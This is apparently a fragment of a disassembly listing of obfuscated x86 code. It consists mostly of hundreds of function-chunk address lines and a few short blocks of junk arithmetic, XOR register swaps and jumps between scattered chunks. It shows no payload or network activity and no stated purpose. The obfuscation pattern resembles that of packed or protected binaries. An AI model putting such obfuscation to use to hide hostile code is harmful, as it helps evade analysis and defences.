; FUNCTION CHUNK AT 005538EF SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00553938 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553961 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005539B4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553A07 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00553A57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553AC4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00553B51 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553B9D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553BE9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00553C31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553C4C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553CA0 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00553CEE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00553D1D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553D4B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00553D94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00553DE5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00553E43 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553E88 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00553F3A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553FE3 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00554084 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055409A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005540BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00554125 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055413C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055416D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005541AC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005541EB SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00554248 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055427B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005542C4 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 00554334 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554359 SIZE 00000092 BYTES
; FUNCTION CHUNK AT 005543F3 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 00554472 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554485 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 0055457C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005545C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005545D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005545FE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00554638 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554659 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055467E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005546A8 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00554778 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005547BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005547D8 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0055483D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005548AE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005548E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554910 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005549A6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005549D3 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00554A1F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554A8E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00554ABA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00554AEB SIZE 000000BC BYTES
; FUNCTION CHUNK AT 00554BB1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00554BE7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00554C7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554C98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554CF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00554D14 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554D43 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00554D8C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554E0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554E4F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00554E6D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554EC7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00554F0B SIZE 0000006B BYTES
; FUNCTION CHUNK AT 00554FFF SIZE 00000053 BYTES
; FUNCTION CHUNK AT 00555077 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055508E SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0055510D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055514A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555174 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00555219 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555255 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555262 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055527B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005552D4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00555317 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005553A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005553B7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005553E0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00555410 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00555442 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055547B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00555530 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055557A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005555BF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005555E9 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 00555639 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005556B3 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00555730 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055577A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005557C2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005557D3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555809 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00555844 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005558D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055593B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005559EE SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00555A2E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555A73 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00555AA1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00555AD8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00555B07 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00555BD3 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00555C4A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00555C6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555C82 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00555CE5 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00555D62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00555D7D SIZE 00000049 BYTES
; FUNCTION CHUNK AT 00555DD2 SIZE 00000074 BYTES
; FUNCTION CHUNK AT 00555E52 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00555EDD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555EFA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555F2F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555F94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00555FFD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00556036 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556065 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00556097 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005560EE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00556174 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005561BC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00556223 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00556246 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00556265 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00556299 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005562DE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055634F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005563F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055641C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005564AA SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005564E3 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 00556538 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055658B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005565DD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055662E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00556689 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005566A8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00556711 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00556739 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055676F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00556793 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055680C SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0055686F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556898 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 00556929 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00556982 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005569A8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556A18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00556A54 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557B21 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557B46 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00557B60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00557BB6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00557C04 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00557C60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00557C86 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557C99 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557CBC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00557D4A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557D8B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00557DB2 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00557DE5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00557E3A SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00557EA0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557EE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00557FB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00558007 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00558033 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055805B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055808B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005580D7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00558137 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005581A0 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 00558216 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00558231 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055823F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055828D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055833F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558391 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005583C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005583F6 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005584A3 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 00558500 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055852B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055853C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558556 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005585B1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055864F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00558673 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055874B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558771 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558805 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055886D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005588CF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005588F3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055890A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00558A14 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 00558A73 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00558AE3 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00558AF2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558B3D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00558B99 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00558BE5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00558C2B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00558C86 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00558D2F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558DA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558E19 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00558E51 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00558E83 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00558EB2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558F11 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00558F58 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558FB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558FE0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00559051 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00559098 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005590F6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055914B SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00559240 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00559281 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005592D9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559310 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055938B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005593E9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055943E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559491 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005594C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005594D5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055956E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005595AE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005595EC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559617 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559671 SIZE 00000076 BYTES
; FUNCTION CHUNK AT 005596F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559719 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055977B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005597BB SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559853 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559883 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559944 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055996C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005599B6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559A04 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559A24 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559A56 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00559AB1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559AE7 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00559B53 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00559B84 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559BB2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00559BF8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00559C32 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559C5A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559CE9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00559D72 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00559E03 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00559E82 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00559EB6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559F14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00559F52 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00559FAF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0055A015 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055A03F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055A070 SIZE 000000A9 BYTES
; FUNCTION CHUNK AT 0055A12B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055A1B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A1E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A22B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055A289 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0055A2ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055A352 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A37E SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0055A467 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055A4A9 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055A506 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A517 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055A556 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A58E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A5C8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A60B SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055A678 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055A724 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A73B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055A7B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A7E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055A81F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A87B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055A8E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A8FC SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055A936 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A966 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055A9BA SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055AA31 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055AA93 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055AB2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AB5A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0055AB94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055ABB5 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055AC11 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055AC3E SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055AC7B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055ACBB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055ACE7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055AD31 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055AD78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AD9B SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0055ADF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055AE11 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055AE3A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055AEA6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055AEF7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055AF19 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B028 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B03B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055B103 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B131 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055B153 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055B211 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055B23A SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0055B293 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055B2DF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B2FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B359 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B380 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055B3C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055B464 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055B4ED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B529 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 0055B5AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B5F5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B610 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055B643 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0055B6D8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055B6F4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055B797 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B800 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B80E SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055B869 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055B8E5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055B93B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B991 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055B9AD SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055B9EA SIZE 00000064 BYTES
; FUNCTION CHUNK AT 0055BA6F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055BAD6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BB05 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BB74 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BBE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BC0D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0055BC6C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BC90 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0055BCDE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055BD1E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BD86 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055BE3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055BE7B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BE9D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055BEEC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055BF58 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BF84 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055BFDA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055C007 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055C032 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055C067 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055C0F4 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055C165 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0055C1EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C1FE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C2D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C384 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C3A1 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055C434 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055C4A8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055C560 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055C5D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055C647 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0055C6B2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055C716 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055C75D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C785 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055C7B0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055C7DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C82A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C864 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0055C8BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C929 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055C984 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055C9C1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055C9FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CA1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CA35 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0055CAA8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055CB0C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CB44 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CB9D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055CBBB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055CBE9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0055CC3E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CC69 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055CC98 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055CCDF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055CD44 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055CD9E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CDE2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055CE16 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CE46 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CE5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055CE8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CEAA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CEC5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CEE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CF17 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebx
		xor	ebx, [esp+18h+var_18]
		pop	esp
		mov	word ptr [esp+14h+var_14], dx
		jmp	loc_557B0D
; ---------------------------------------------------------------------------


loc_556A8F:				; CODE XREF: sub_556A70+107Cj
		xor	ecx, 476C35CAh
		jmp	loc_55B028
; ---------------------------------------------------------------------------


loc_556A9A:				; CODE XREF: sub_556A70-1461j
		xor	ecx, 36C06F2Dh
		and	ebp, ecx
		pop	ecx
		xor	ebp, 759221E7h
		jmp	loc_55A3F7
; ---------------------------------------------------------------------------


loc_556AAE:				; CODE XREF: sub_556A70-28A7j
		push	ebp
		mov	ebp, 7AE83367h
		push	ebx
		mov	ebx, 18877822h
		shr	ebx, 2
		and	ebx, 7D3F47A6h
		jmp	loc_55662E
; ---------------------------------------------------------------------------


loc_556AC8:				; CODE XREF: sub_556A70-4C9Dj
		push	ebx
		jmp	loc_5565DD
; ---------------------------------------------------------------------------


loc_556ACE:				; CODE XREF: sub_556A70+44ABj
		pop	esi
